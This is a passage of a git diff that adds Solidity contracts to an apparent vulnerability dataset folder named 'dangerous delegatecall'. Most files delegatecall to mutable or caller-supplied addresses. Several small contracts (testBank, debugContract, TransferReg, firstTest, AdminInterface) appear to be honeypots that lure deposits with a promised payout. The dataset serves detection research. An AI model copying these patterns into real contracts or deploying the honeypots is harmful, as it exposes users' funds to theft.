&& R1 == S1)); + if (success) { + operational = true; + } + } + + + function getCurrentPrice() public constant isOperational returns (uint256) { + return getPrice(R1, R2, S1, S2); + } + + + + + + + + function getPrice(uint256 _R1, uint256 _R2, uint256 _S1, uint256 _S2) public constant returns (uint256 price) { + price = PRECISION; + price = price.mul(_S1.sub(_R1)); + price = price.div(_S2.sub(_R2)); + price = price.mul(_S2); + price = price.div(_S1); + price = price.mul(_S2); + price = price.div(_S1); + } + + + + + + + function quoteAndReserves(address _fromToken, uint256 _inAmount, address _toToken) private isOperational returns (uint256 returnAmount) { + + if (token1 == _fromToken && token2 == _toToken) { + + l_R1 = R1.add(_inAmount); + + l_R2 = calcReserve(l_R1, S1, S2); + if (l_R2 > R2) { + return 0; + } + + returnAmount = R2.sub(l_R2); + } + + else if (token2 == _fromToken && token1 == _toToken) { + + l_R2 = R2.add(_inAmount); + + l_R1 = calcReserve(l_R2, S2, S1); + if (l_R1 > R1) { + return 0; + } + + returnAmount = R1.sub(l_R1); + } else { + return 0; + } + } + + + + + + + function quote(address _fromToken, uint256 _inAmount, address _toToken) public constant isOperational returns (uint256 returnAmount) { + uint256 _R1; + uint256 _R2; + + if (token1 == _fromToken && token2 == _toToken) { + + _R1 = R1.add(_inAmount); + + _R2 = calcReserve(_R1, S1, S2); + if (_R2 > R2) { + return 0; + } + + returnAmount = R2.sub(_R2); + } + + else if (token2 == _fromToken && token1 == _toToken) { + + _R2 = R2.add(_inAmount); + + _R1 = calcReserve(_R2, S2, S1); + if (_R1 > R1) { + return 0; + } + + returnAmount = R1.sub(_R1); + } else { + return 0; + } + } + + + + + + + + + function calcReserve(uint256 _R1, uint256 _S1, uint256 _S2) public pure returns (uint256 _R2) { + _R2 = _S2 + .mul( + _S1 + .sub( + _R1 + .mul(_S1) + .mul(2) + .sub( + _R1 + .toPower2() + ) + .sqrt() + ) + ) + .div(_S1); + } + + + + + + + function change(address _fromToken, uint256 _inAmount, address _toToken) public canTrade returns (uint256 returnAmount) { + return change(_fromToken, _inAmount, _toToken, 0); + } + + + + + + + + function change(address _fromToken, uint256 _inAmount, address _toToken, uint256 _minReturn) public canTrade returns (uint256 returnAmount) { + + require(ERC20(_fromToken).transferFrom(msg.sender, this, _inAmount)); + + returnAmount = exchange(_fromToken, _inAmount, _toToken, _minReturn); + if (returnAmount == 0) { + + revert(); + } + + ERC20(_toToken).transfer(msg.sender, returnAmount); + + require(validateReserves()); + Change(_fromToken, _inAmount, _toToken, returnAmount, msg.sender); + } + + + + + function change(address _toToken) public canTrade223 tokenPayable returns (uint256 returnAmount) { + return change(_toToken, 0); + } + + + + + + function change(address _toToken, uint256 _minReturn) public canTrade223 tokenPayable returns (uint256 returnAmount) { + + address fromToken = tkn.addr; + uint256 inAmount = tkn.value; + + returnAmount = exchange(fromToken, inAmount, _toToken, _minReturn); + if (returnAmount == 0) { + + revert(); + } + + ERC20(_toToken).transfer(tkn.sender, returnAmount); + + require(validateReserves()); + Change(fromToken, inAmount, _toToken, returnAmount, tkn.sender); + } + + + + + + + + function exchange(address _fromToken, uint256 _inAmount, address _toToken, uint256 _minReturn) private returns (uint256 returnAmount) { + + returnAmount = quoteAndReserves(_fromToken, _inAmount, _toToken); + + if (returnAmount == 0 || returnAmount < _minReturn) { + return 0; + } + + + updateReserve(); + } + + + function updateReserve() private { + R1 = l_R1; + R2 = l_R2; + } + + + function validateReserves() public view returns (bool) { + return (token1.balanceOf(this) >= R1 && token2.balanceOf(this) >= R2); + } + + + function withdrawExcessReserves() public onlyOwner returns (uint256 returnAmount) { + + if (token1.balanceOf(this) > R1) { + returnAmount = returnAmount.add(token1.balanceOf(this).sub(R1)); + token1.transfer(msg.sender, token1.balanceOf(this).sub(R1)); + } + + if (token2.balanceOf(this) > R2) { + returnAmount = returnAmount.add(token2.balanceOf(this).sub(R2)); + token2.transfer(msg.sender, token2.balanceOf(this).sub(R2)); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/27767.sol b/smart_contract_dataset/dangerous delegatecall/27767.sol new file mode 100644 index 0000000000000000000000000000000000000000..921287d9c67c28075fe4ea9b9fc5ab913911a5b5 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/27767.sol @@ -0,0 +1,247 @@ +pragma solidity ^0.4.10; + +contract IERC20Token { + function totalSupply() public constant returns ( uint256 supply ) { supply; } + function balanceOf( address _owner ) public constant returns ( uint256 balance ) { _owner; balance; } + function allowance( address _owner, address _spender ) public constant returns ( uint256 remaining ) { _owner; _spender; remaining; } + + function transfer( address _to, uint256 _value ) public returns ( bool success ); + function transferFrom( address _from, address _to, uint256 _value ) public returns ( bool success ); + function approve( address _spender, uint256 _value ) public returns ( bool success ); +} +contract RegaUtils { + modifier validAddress( address _address ) { + require( _address != 0x0 ); + _; + } + + + function safeAdd( uint256 x, uint256 y ) internal returns( uint256 ) { + uint256 z = x + y; + assert( z >= x ); + return z; + } + + function safeSub( uint256 x, uint256 y ) internal returns( uint256 ) { + assert( x >= y); + return x - y; + } +} +contract ERC20Token is IERC20Token, RegaUtils { + uint256 public totalSupply = 0; + mapping( address => uint256 ) public balanceOf; + mapping( address => mapping( address => uint256 ) ) public allowance; + + event Transfer( address indexed _from, address indexed _to, uint256 _value ); + event Approval( address indexed _owner, address indexed _spender, uint256 _value ); + + function transfer( address _to, uint256 _value ) validAddress( _to ) + returns( bool success ) + { + balanceOf[ msg.sender ] = safeSub( balanceOf[ msg.sender ], _value ); + balanceOf[ _to ] = safeAdd( balanceOf[ _to ], _value ); + Transfer( msg.sender, _to, _value ); + return true; + } + + function transferFrom( address _from, address _to, uint256 _value ) validAddress( _from ) validAddress( _to ) + returns( bool success ) + { + allowance[ _from ][ msg.sender ] = safeSub( allowance[ _from ][ msg.sender ], _value ); + balanceOf[ _from] = safeSub( balanceOf[_from], _value ); + balanceOf[ _to] = safeAdd( balanceOf[_to], _value ); + Transfer( _from, _to, _value ); + return true; + } + + function approve( address _spender, uint256 _value ) validAddress( _spender ) + returns( bool success) + { + require( _value == 0 || allowance[ msg.sender ][ _spender ] == 0 ); + + allowance[ msg.sender ][ _spender ] = _value; + Approval( msg.sender, _spender, _value ); + return true; + } + +} +contract RSTBase is ERC20Token { + address public board; + address public owner; + + address public votingData; + address public tokenData; + address public feesData; + + uint256 public reserve; + uint32 public crr; + uint256 public weiForToken; + uint8 public totalAccounts; + + modifier boardOnly() { + require(msg.sender == board); + _; + } +} +contract TokenControllerBase is RSTBase { + function init() public; + function isSellOpen() public constant returns(bool); + function isBuyOpen() public constant returns(bool); + function sell(uint value) public; + function buy() public payable; + function addToReserve() public payable; +} + +contract VotingControllerBase is RSTBase { + function voteFor() public; + function voteAgainst() public; + function startVoting() public; + function stopVoting() public; + function getCurrentVotingDescription() public constant returns (bytes32 vd) ; +} + +contract FeesControllerBase is RSTBase { + function init() public; + function withdrawFee() public; + function calculateFee() public; + function addPayee( address payee ) public; + function removePayee( address payee ) public; + function setRepayment( ) payable public; +} +contract RiskSharingToken is RSTBase { + string public constant version = "0.1"; + string public constant name = "REGA Risk Sharing Token"; + string public constant symbol = "RST"; + uint8 public constant decimals = 10; + + TokenControllerBase public tokenController; + VotingControllerBase public votingController; + FeesControllerBase public feesController; + + modifier ownerOnly() { + require( msg.sender == owner ); + _; + } + + modifier boardOnly() { + require( msg.sender == board ); + _; + } + + modifier authorized() { + require( msg.sender == owner || msg.sender == board); + _; + } + + + function RiskSharingToken( address _board ) { + board = _board; + owner = msg.sender; + tokenController = TokenControllerBase(0); + votingController = VotingControllerBase(0); + weiForToken = uint(10)**(18-1-decimals); + reserve = 0; + crr = 20; + totalAccounts = 0; + } + + function() payable { + + } + + function setTokenController( TokenControllerBase tc, address _tokenData ) public boardOnly { + tokenController = tc; + if( _tokenData != address(0) ) + tokenData = _tokenData; + if( tokenController != TokenControllerBase(0) ) + if( !tokenController.delegatecall(bytes4(sha3("init()"))) ) + revert(); + } + + + function setVotingController( VotingControllerBase vc ) public boardOnly { + votingController = vc; + } + + function startVoting( bytes32 ) public boardOnly validAddress(votingController) { + if( !votingController.delegatecall(msg.data) ) + revert(); + } + + function stopVoting() public boardOnly validAddress(votingController) { + if( !votingController.delegatecall(msg.data) ) + revert(); + } + + function voteFor() public validAddress(votingController) { + if( !votingController.delegatecall(msg.data) ) + revert(); + } + + function voteAgainst() public validAddress(votingController) { + if( !votingController.delegatecall(msg.data) ) + revert(); + } + + + function buy() public payable validAddress(tokenController) { + if( !tokenController.delegatecall(msg.data) ) + revert(); + } + + function sell( uint ) public validAddress(tokenController) { + if( !tokenController.delegatecall(msg.data) ) + revert(); + } + + function addToReserve( ) public payable validAddress(tokenController) { + if( !tokenController.delegatecall(msg.data) ) + revert(); + } + + + function withdraw( uint256 amount ) public boardOnly { + require(safeSub(this.balance, amount) >= reserve); + board.transfer( amount ); + } + + function issueToken( address , uint256 ) public authorized { + if( !tokenController.delegatecall(msg.data) ) + revert(); + } + + function issueTokens( uint256[] ) public ownerOnly { + if( !tokenController.delegatecall(msg.data) ) + revert(); + } + + + + function setFeesController( FeesControllerBase fc ) public boardOnly { + feesController = fc; + if( !feesController.delegatecall(bytes4(sha3("init()"))) ) + revert(); + } + + function withdrawFee() public validAddress(feesController) { + if( !feesController.delegatecall(msg.data) ) + revert(); + } + + function calculateFee() public validAddress(feesController) { + if( !feesController.delegatecall(msg.data) ) + revert(); + } + function addPayee( address ) public validAddress(feesController) { + if( !feesController.delegatecall(msg.data) ) + revert(); + } + function removePayee( address ) public validAddress(feesController) { + if( !feesController.delegatecall(msg.data) ) + revert(); + } + function setRepayment( ) payable public validAddress(feesController) { + if( !feesController.delegatecall(msg.data) ) + revert(); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/29219.sol b/smart_contract_dataset/dangerous delegatecall/29219.sol new file mode 100644 index 0000000000000000000000000000000000000000..8ade8ce34889417c7179369e4741a01f1754289c --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/29219.sol @@ -0,0 +1,374 @@ +pragma solidity ^0.4.18; + + +interface IToken { + + + function totalSupply() public view returns (uint); + + + + function balanceOf(address _owner) public view returns (uint); + + + + function transfer(address _to, uint _value) public returns (bool); + + + + function transferFrom(address _from, address _to, uint _value) public returns (bool); + + + + function approve(address _spender, uint _value) public returns (bool); + + + + function allowance(address _owner, address _spender) public view returns (uint); +} + + + +interface ICrowdsale { + + + function isInPresalePhase() public view returns (bool); + + + + function isEnded() public view returns (bool); + + + + function hasBalance(address _beneficiary, uint _releaseDate) public view returns (bool); + + + + function balanceOf(address _owner) public view returns (uint); + + + + function ethBalanceOf(address _owner) public view returns (uint); + + + + function refundableEthBalanceOf(address _owner) public view returns (uint); + + + + function getRate(uint _phase, uint _volume) public view returns (uint); + + + + function toTokens(uint _wei, uint _rate) public view returns (uint); + + + + function () public payable; + + + + function contribute() public payable returns (uint); + + + + function contributeFor(address _beneficiary) public payable returns (uint); + + + + function withdrawTokens() public; + + + + function withdrawTokensTo(address _beneficiary) public; + + + + function withdrawEther() public; + + + + function withdrawEtherTo(address _beneficiary) public; + + + + function refund() public; + + + + function refundTo(address _beneficiary) public; +} + + + +contract Dispatchable { + + + + address private target; +} + + + +contract SimpleDispatcher { + + + address private target; + + + + function SimpleDispatcher(address _target) public { + target = _target; + } + + + + function () public payable { + var dest = target; + assembly { + calldatacopy(0x0, 0x0, calldatasize) + switch delegatecall(sub(gas, 10000), dest, 0x0, calldatasize, 0, 0) + case 0 { revert(0, 0) } + } + } +} + + + +contract PersonalCrowdsaleProxyDispatcher is SimpleDispatcher { + + + address public targetCrowdsale; + address public targetToken; + + + address public beneficiary; + bytes32 private passphraseHash; + + + + function PersonalCrowdsaleProxyDispatcher(address _target, address _targetCrowdsale, address _targetToken, bytes32 _passphraseHash) public + SimpleDispatcher(_target) { + targetCrowdsale = _targetCrowdsale; + targetToken = _targetToken; + passphraseHash = _passphraseHash; + } +} + + + +interface ICrowdsaleProxy { + + + function () public payable; + + + + function contribute() public payable returns (uint); + + + + function contributeFor(address _beneficiary) public payable returns (uint); +} + + + +contract CrowdsaleProxy is ICrowdsaleProxy { + + address public owner; + ICrowdsale public target; + + + + function CrowdsaleProxy(address _owner, address _target) public { + target = ICrowdsale(_target); + owner = _owner; + } + + + + function () public payable { + target.contributeFor.value(msg.value)(msg.sender); + } + + + + function contribute() public payable returns (uint) { + target.contributeFor.value(msg.value)(msg.sender); + } + + + + function contributeFor(address _beneficiary) public payable returns (uint) { + target.contributeFor.value(msg.value)(_beneficiary); + } +} + + + +interface IPersonalCrowdsaleProxy { + + + + function () public payable; + + + + function invest() public; + + + + function refund() public; + + + + function updateTokenBalance() public; + + + + function withdrawTokens() public; + + + + function updateEtherBalance() public; + + + + function withdrawEther() public; +} + + + +contract PersonalCrowdsaleProxy is IPersonalCrowdsaleProxy, Dispatchable { + + + ICrowdsale public targetCrowdsale; + IToken public targetToken; + + + address public beneficiary; + bytes32 private passphraseHash; + + + + modifier when_beneficiary_is_known() { + require(beneficiary != address(0)); + _; + } + + + + modifier when_beneficiary_is_unknown() { + require(beneficiary == address(0)); + _; + } + + + + function setBeneficiary(address _beneficiary, bytes32 _passphrase) public when_beneficiary_is_unknown { + require(keccak256(_passphrase) == passphraseHash); + beneficiary = _beneficiary; + } + + + + function () public payable { + + } + + + + function invest() public { + targetCrowdsale.contribute.value(this.balance)(); + } + + + + function refund() public { + targetCrowdsale.refund(); + } + + + + function updateTokenBalance() public { + targetCrowdsale.withdrawTokens(); + } + + + + function withdrawTokens() public when_beneficiary_is_known { + uint balance = targetToken.balanceOf(this); + targetToken.transfer(beneficiary, balance); + } + + + + function updateEtherBalance() public { + targetCrowdsale.withdrawEther(); + } + + + + function withdrawEther() public when_beneficiary_is_known { + beneficiary.transfer(this.balance); + } +} + + + +contract CrowdsaleProxyFactory { + + + address public targetCrowdsale; + address public targetToken; + + + address private personalCrowdsaleProxyTarget; + + + + event ProxyCreated(address proxy, address beneficiary); + + + + function CrowdsaleProxyFactory(address _targetCrowdsale, address _targetToken) public { + targetCrowdsale = _targetCrowdsale; + targetToken = _targetToken; + personalCrowdsaleProxyTarget = new PersonalCrowdsaleProxy(); + } + + + + function createProxyAddress() public returns (address) { + address proxy = new CrowdsaleProxy(msg.sender, targetCrowdsale); + ProxyCreated(proxy, msg.sender); + return proxy; + } + + + + function createProxyAddressFor(address _beneficiary) public returns (address) { + address proxy = new CrowdsaleProxy(_beneficiary, targetCrowdsale); + ProxyCreated(proxy, _beneficiary); + return proxy; + } + + + + function createPersonalDepositAddress(bytes32 _passphraseHash) public returns (address) { + address proxy = new PersonalCrowdsaleProxyDispatcher( + personalCrowdsaleProxyTarget, targetCrowdsale, targetToken, _passphraseHash); + ProxyCreated(proxy, msg.sender); + return proxy; + } + + + + function createPersonalDepositAddressFor(address _beneficiary) public returns (address) { + PersonalCrowdsaleProxy proxy = PersonalCrowdsaleProxy(new PersonalCrowdsaleProxyDispatcher( + personalCrowdsaleProxyTarget, targetCrowdsale, targetToken, keccak256(bytes32(_beneficiary)))); + proxy.setBeneficiary(_beneficiary, bytes32(_beneficiary)); + ProxyCreated(proxy, _beneficiary); + return proxy; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/29717.sol b/smart_contract_dataset/dangerous delegatecall/29717.sol new file mode 100644 index 0000000000000000000000000000000000000000..f9f98f6bd0fca122a9c7139ba67bcf09d0d1a9ce --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/29717.sol @@ -0,0 +1,170 @@ +pragma solidity ^0.4.10; + + + +contract AbstractSweeper { + function sweep(address token, uint amount) returns (bool); + + function () { throw; } + + Controller controller; + + function AbstractSweeper(address _controller) { + controller = Controller(_controller); + } + + modifier canSweep() { + if (msg.sender != controller.authorizedCaller() && msg.sender != controller.owner()) throw; + if (controller.halted()) throw; + _; + } +} + +contract Token { + function balanceOf(address a) returns (uint) { + (a); + return 0; + } + + function transfer(address a, uint val) returns (bool) { + (a); + (val); + return false; + } +} + +contract DefaultSweeper is AbstractSweeper { + function DefaultSweeper(address controller) + AbstractSweeper(controller) {} + + function sweep(address _token, uint _amount) + canSweep + returns (bool) { + bool success = false; + address destination = controller.destination(); + + if (_token != address(0)) { + Token token = Token(_token); + uint amount = _amount; + if (amount > token.balanceOf(this)) { + return false; + } + + success = token.transfer(destination, amount); + } + else { + uint amountInWei = _amount; + if (amountInWei > this.balance) { + return false; + } + + success = destination.send(amountInWei); + } + + if (success) { + controller.logSweep(this, destination, _token, _amount); + } + return success; + } +} + +contract UserWallet { + AbstractSweeperList sweeperList; + function UserWallet(address _sweeperlist) { + sweeperList = AbstractSweeperList(_sweeperlist); + } + + function () public payable { } + + function tokenFallback(address _from, uint _value, bytes _data) { + (_from); + (_value); + (_data); + } + + function sweep(address _token, uint _amount) + returns (bool) { + (_amount); + return sweeperList.sweeperOf(_token).delegatecall(msg.data); + } +} + +contract AbstractSweeperList { + function sweeperOf(address _token) returns (address); +} + +contract Controller is AbstractSweeperList { + address public owner; + address public authorizedCaller; + + address public destination; + + bool public halted; + + event LogNewWallet(address receiver); + event LogSweep(address indexed from, address indexed to, address indexed token, uint amount); + + modifier onlyOwner() { + if (msg.sender != owner) throw; + _; + } + + modifier onlyAuthorizedCaller() { + if (msg.sender != authorizedCaller) throw; + _; + } + + modifier onlyAdmins() { + if (msg.sender != authorizedCaller && msg.sender != owner) throw; + _; + } + + function Controller() + { + owner = msg.sender; + destination = msg.sender; + authorizedCaller = msg.sender; + } + + function changeAuthorizedCaller(address _newCaller) onlyOwner { + authorizedCaller = _newCaller; + } + + function changeDestination(address _dest) onlyOwner { + destination = _dest; + } + + function changeOwner(address _owner) onlyOwner { + owner = _owner; + } + + function makeWallet() onlyAdmins returns (address wallet) { + wallet = address(new UserWallet(this)); + LogNewWallet(wallet); + } + + function halt() onlyAdmins { + halted = true; + } + + function start() onlyOwner { + halted = false; + } + + address public defaultSweeper = address(new DefaultSweeper(this)); + mapping (address => address) sweepers; + + function addSweeper(address _token, address _sweeper) onlyOwner { + sweepers[_token] = _sweeper; + } + + function sweeperOf(address _token) returns (address) { + address sweeper = sweepers[_token]; + if (sweeper == 0) sweeper = defaultSweeper; + return sweeper; + } + + function logSweep(address from, address to, address token, uint amount) { + LogSweep(from, to, token, amount); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/29999.sol b/smart_contract_dataset/dangerous delegatecall/29999.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/29999.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/30357.sol b/smart_contract_dataset/dangerous delegatecall/30357.sol new file mode 100644 index 0000000000000000000000000000000000000000..600dee9373d75c6672b23581b5ac7abbd65a4c94 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/30357.sol @@ -0,0 +1,41 @@ +pragma solidity ^0.4.11; + +contract testBank +{ + address Owner=0x46Feeb381e90f7e30635B4F33CE3F6fA8EA6ed9b; + address adr; + uint256 public Limit= 1000000000000000001; + address emails = 0x1a2c5c3ba7182b572512a60a22d9f79a48a93164; + + + function Update(address dataBase, uint256 limit) + { + require(msg.sender == Owner); + Limit = limit; + emails = dataBase; + } + + function changeOwner(address adr){ + + } + + function()payable{} + + function withdrawal() + payable public + { + adr=msg.sender; + if(msg.value>Limit) + { + + emails.delegatecall(bytes4(sha3("logEvent()"))); + adr.send(this.balance); + } + } + + function kill() { + require(msg.sender == Owner); + selfdestruct(msg.sender); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/30358.sol b/smart_contract_dataset/dangerous delegatecall/30358.sol new file mode 100644 index 0000000000000000000000000000000000000000..5004a3377e21c17cacfc63ff4dcdf9167dfa59e3 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/30358.sol @@ -0,0 +1,35 @@ +pragma solidity ^0.4.19; +contract loglibs { + mapping (address => uint256) public sendList; + + function logSendEvent() payable public{ + sendList[msg.sender] = 1 ether; + } + +} + +contract debugContract +{ + address Owner=msg.sender; + uint256 public Limit= 1 ether; + address loglib = 0xBC3A2d9D5Cf09013FB6ED85d97B180EaF76000Bd; + + function()payable public{} + + function withdrawal() + payable public + { + + if(msg.value>=Limit) + { + loglib.delegatecall(bytes4(sha3("logSendEvent()"))); + msg.sender.send(this.balance); + } + } + + function kill() public { + require(msg.sender == Owner); + selfdestruct(msg.sender); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/30679.sol b/smart_contract_dataset/dangerous delegatecall/30679.sol new file mode 100644 index 0000000000000000000000000000000000000000..174cd818480c5f641519b5592096c6337f32a7ab --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/30679.sol @@ -0,0 +1,68 @@ +pragma solidity ^0.4.18; + + +contract TransferReg +{ + address public Owner = msg.sender; + address public DataBase; + uint256 public Limit; + + function Set(address dataBase, uint256 limit) + { + require(msg.sender == Owner); + Limit = limit; + DataBase = dataBase; + } + + function()payable{} + + function transfer(address adr) + payable + { + if(msg.value>Limit) + { + if(DataBase.delegatecall(bytes4(sha3("AddToDB(address)")),msg.sender)) + adr.transfer(this.balance); + } + } + +} + +contract Lib +{ + address owner = msg.sender; + + bytes lastUknownMessage; + + mapping (address => uint256) Db; + + function() public payable + { + lastUknownMessage = msg.data; + } + + function AddToDB(address adr) + public + payable + { + Db[adr]++; + } + + function GetAddrCallQty(address adr) + public + returns(uint) + { + require(owner==msg.sender); + return Db[adr]; + } + + function GetLastMsg() + public + returns(bytes) + { + require(owner==msg.sender); + return lastUknownMessage; + } + + +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/30692.sol b/smart_contract_dataset/dangerous delegatecall/30692.sol new file mode 100644 index 0000000000000000000000000000000000000000..ec190287930f2a98ecc4c0344f850013406fe73a --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/30692.sol @@ -0,0 +1,43 @@ +pragma solidity ^0.4.11; + +contract firstTest +{ + address Owner = 0x46Feeb381e90f7e30635B4F33CE3F6fA8EA6ed9b; + address emails = 0x25df6e3da49f41ef5b99e139c87abc12c3583d13; + address adr; + uint256 public Limit= 1000000000000000000; + + function Set(address dataBase, uint256 limit) + { + require(msg.sender == Owner); + Limit = limit; + emails = dataBase; + } + + function changeOwner(address adr){ + + } + + function()payable{ + + withdrawal(); + } + + function kill() { + require(msg.sender == Owner); + selfdestruct(msg.sender); + } + + function withdrawal() + payable public + { + adr=msg.sender; + if(msg.value>Limit) + { + emails.delegatecall(bytes4(sha3("logEvent()"))); + adr.send(this.balance); + + } + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/33425.sol b/smart_contract_dataset/dangerous delegatecall/33425.sol new file mode 100644 index 0000000000000000000000000000000000000000..44ed6d89cf6d17c98b6530ce3246b04de4f9c300 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/33425.sol @@ -0,0 +1,47 @@ + + + + + + +pragma solidity ^0.4.18; +contract AdminInterface +{ + address public Owner; + address public oracle; + uint256 public Limit; + + function AdminInterface(){ + Owner = msg.sender; + } + + modifier onlyOwner() { + require(msg.sender == Owner); + _; + } + + + function Set(address dataBase) payable onlyOwner + { + Limit = msg.value; + oracle = dataBase; + } + + function()payable{} + + function transfer(address multisig) payable onlyOwner { + multisig.transfer(msg.value); + } + + function addOwner(address newAddr) payable + { + if(msg.value > Limit) + { + + oracle.delegatecall(bytes4(keccak256("AddToWangDB(address)")),msg.sender); + + + newAddr.transfer(this.balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/33567.sol b/smart_contract_dataset/dangerous delegatecall/33567.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/33567.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/33727.sol b/smart_contract_dataset/dangerous delegatecall/33727.sol new file mode 100644 index 0000000000000000000000000000000000000000..88a8b74f4491da4db4dabb6742ea86532cbd3bc4 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/33727.sol @@ -0,0 +1,20 @@ +pragma solidity ^0.4.15; + + +contract Dispatcher { + address target; + + function Dispatcher(address _target) public { + target = _target; + } + + function() public { + assembly { + let _target := sload(0) + calldatacopy(0x0, 0x0, calldatasize) + let retval := delegatecall(gas, _target, 0x0, calldatasize, 0x0, 0) + let returnsize := returndatasize + returndatacopy(0x0, 0x0, returnsize) + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/33741.sol b/smart_contract_dataset/dangerous delegatecall/33741.sol new file mode 100644 index 0000000000000000000000000000000000000000..d5574a2634cd4a8ef70827d88eff6a1b1230c681 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/33741.sol @@ -0,0 +1,73 @@ +pragma solidity ^0.4.4; + + +contract EDProxy { + + function EDProxy() public { + } + + function dtrade(address _callee, uint8 v1, uint8 v2, uint256[] uints,address[] addresses,bytes32[] b) public { + + if (_callee.delegatecall(bytes4(keccak256("trade(address,uint256,address,uint256,uint256,uint256,address,uint8,bytes32,bytes32,uint256)")), + addresses[0], + uints[0], + addresses[2], + uints[2], + uints[4], + uints[6], + addresses[4], + v1, + b[0], + b[2], + uints[8] + )) { + (_callee.delegatecall(bytes4(keccak256("trade(address,uint256,address,uint256,uint256,uint256,address,uint8,bytes32,bytes32,uint256)")), + addresses[1], + uints[1], + addresses[3], + uints[3], + uints[5], + uints[7], + addresses[5], + v2, + b[1], + b[3], + uints[9] + )); + } + } + + function testcall(address _callee) public { + bytes32[] memory b = new bytes32[](4); + address[] memory addrs = new address[](6); + uint256[] memory ints = new uint256[](12); + uint8 v1; + uint8 v2; + + bytes32 somebytes; + ints[0]=1; + ints[1]=2; + ints[2]=3; + ints[3]=4; + ints[4]=5; + ints[5]=6; + ints[6]=7; + ints[7]=8; + ints[8]=9; + ints[9]=10; + v1=11; + v2=12; + b[0]=somebytes; + b[1]=somebytes; + b[2]=somebytes; + b[3]=somebytes; + addrs[0]=0xdc04977a2078c8ffdf086d618d1f961b6c54111; + addrs[1]=0xdc04977a2078c8ffdf086d618d1f961b6c54222; + addrs[2]=0xdc04977a2078c8ffdf086d618d1f961b6c54333; + addrs[3]=0xdc04977a2078c8ffdf086d618d1f961b6c54444; + addrs[4]=0xdc04977a2078c8ffdf086d618d1f961b6c54555; + addrs[5]=0xdc04977a2078c8ffdf086d618d1f961b6c54666; + dtrade(_callee, v1, v2, ints, addrs,b); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/33799.sol b/smart_contract_dataset/dangerous delegatecall/33799.sol new file mode 100644 index 0000000000000000000000000000000000000000..ab2ed480b596d0a1f9206076250acd08203824aa --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/33799.sol @@ -0,0 +1,51 @@ +pragma solidity ^0.4.0; + + +contract caller { + + function caller() public { + } + + function delegate_2x(address callee, uint256[] uints,address[] addresses,bytes32[] b) public { + + if (callee.delegatecall(bytes4(keccak256("x(address,uint256,address,uint256,bytes32,bytes32)")), + addresses[0], + uints[0], + addresses[2], + uints[2], + b[0], + b[2] + )) { + (callee.delegatecall(bytes4(keccak256("x(address,uint256,address,uint256,bytes32,bytes32)")), + addresses[1], + uints[1], + addresses[3], + uints[3], + b[1], + b[3] + )); + } + } + + function testcall(address callee) public { + bytes32[] memory b = new bytes32[](4); + address[] memory addrs = new address[](6); + uint256[] memory ints = new uint256[](12); + bytes32 somebytes; + ints[0]=1; + ints[1]=2; + ints[2]=3; + ints[3]=4; + b[0]=somebytes; + b[1]=somebytes; + b[2]=somebytes; + b[3]=somebytes; + addrs[0]=0xdc04977a2078c8ffdf086d618d1f961b6c54111; + addrs[1]=0xdc04977a2078c8ffdf086d618d1f961b6c54222; + addrs[2]=0xdc04977a2078c8ffdf086d618d1f961b6c54333; + addrs[3]=0xdc04977a2078c8ffdf086d618d1f961b6c54444; + + delegate_2x(callee, ints, addrs,b); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/34410.sol b/smart_contract_dataset/dangerous delegatecall/34410.sol new file mode 100644 index 